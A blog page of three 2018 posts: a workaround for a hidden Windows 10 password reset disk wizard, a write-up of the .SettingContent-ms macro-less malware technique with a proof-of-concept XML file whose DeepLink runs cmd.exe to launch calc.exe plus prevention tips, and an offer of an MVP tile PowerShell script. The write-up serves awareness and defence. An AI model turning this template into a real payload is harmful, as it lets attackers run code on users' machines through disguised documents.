Tuesday, July 10, 2018

Windows 10 Create Password Backup Reset Disk Window is Hidden


In Windows 10, I found a bug, when I tried to run Create a password reset disk for the 1st time, the window is hidden from view. I could Alt-Tab and see it listed but I could not get it into view. 

This is normal way to invoke Create a password reset disk.
  1. Plug your USB drive 
  2. Press Windows key + S on your keyboard to bring up the search bar.
  3. Type Control Panel and open it.
  4. Type in User accounts in Search Control Panel.
  5. Click on User accounts.
  6. Select Create a password reset disk *USB must be present to run
If you can't see the Create a password reset disk Wizard windows. You can try, to cascade windows. But this did not work for me. 




I had to run this manually for me to be able to backup my password. 

Soln: Create a password reset disk from RUN

Open the Run box, type the following and hit Enter to open it directly:
rundll32.exe keymgr.dll,PRShowSaveWizardExW

Friday, July 6, 2018

New macro-less technique to distribute malware using .SettingsContent-ms


There's a new infection vector can be tapped into, one that circumvents the current protection settings and even Microsoft's new Attack Surface Reduction technology.

.SettingContent-ms file type is a format that was introduced in Windows 10 and allows a user to create shortcuts to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

A modified ControlPanel.settingcontent-ms file to run calc.exe


<?xml version-"1.0" encoding-"UTF-8"?>
<PCSettings>
 <SearchableContent xmlns="http://schemas.microsoft. com/Search/2013/SettingContent">
  <ApplicationInformation>
   <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
   <DeepLink>cmd.exe /c calc.exe</DeepLink>
   <Icon>%windir%\system32\calc.exe</Icon>
  </ApplicationInformation>
  <SettingIdentity>
   <PageID></PageID>
   <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D)</HostID>
  </SettingIdentity>
  <SettingInformation>
   <Description>@shel132.dll, -4161</Description>
   <Keywords>@shel132. dll, -4161</Keywords>
  </SettingInformation>
 </SearchableContent>
</PCSettings>

This feature can be abused because one of its elements (DeepLink) allows for any binary with parameters to be executed. All that an attacker needs to do is add his own command using Powershell.exe or Cmd.exe, as typical with most attacks.




















By embedding a specially crafted settings file into an Office document, an attacker can trick a user to run malicious code without any further warning or notification.


Embedded OLE .settingcontenct-ms object when click could trick user to open content
























How to Prevent these Attacks

1) Use my simple hack to force Poweshell a UAC pop-up, allowing you to deny script launches.
2) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 add to AVP 
3) Windows file type “.SettingContent-ms” is vulnerable to command execution using the DeepLink attribute (sonicwall.com)




Sources: 
1. https://blog.malwarebytes.com/threat-analysis/2018/07/new-macro-less-technique-used-distribute-malware/
2. https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39



Sunday, July 1, 2018

Microsoft Most Valuable Professional (MVP) Metro Tile Creator 2018

In honor of winning an MVP award for 2018 and 5th year in a row, here's a freebie to fellow MVPers!!!  

I created a Powershell script to create a MVP Metro Tile to link to your choice of the following; 

  1. Microsot MVP Award site (https://mvp.microsoft.com/)
  2. Yammer (https://www.yammer.com/microsoftcommunityinfluencers/)
  3. Enter your own blog URL where your MVP Award is displaying
Once you fill out form below, and you're enrollment confirmed, I send you the download.

Win10 MVP Tile Powershell Download  MVPMetroTileWin10.zip

Install

Read the contents of .ps1 file.


MVP Download Script Request Form for Microsoft MVPs only


Please send your MVP ID so you can be validated. Only MVPs are allowed this script.

Name
Email *
Message *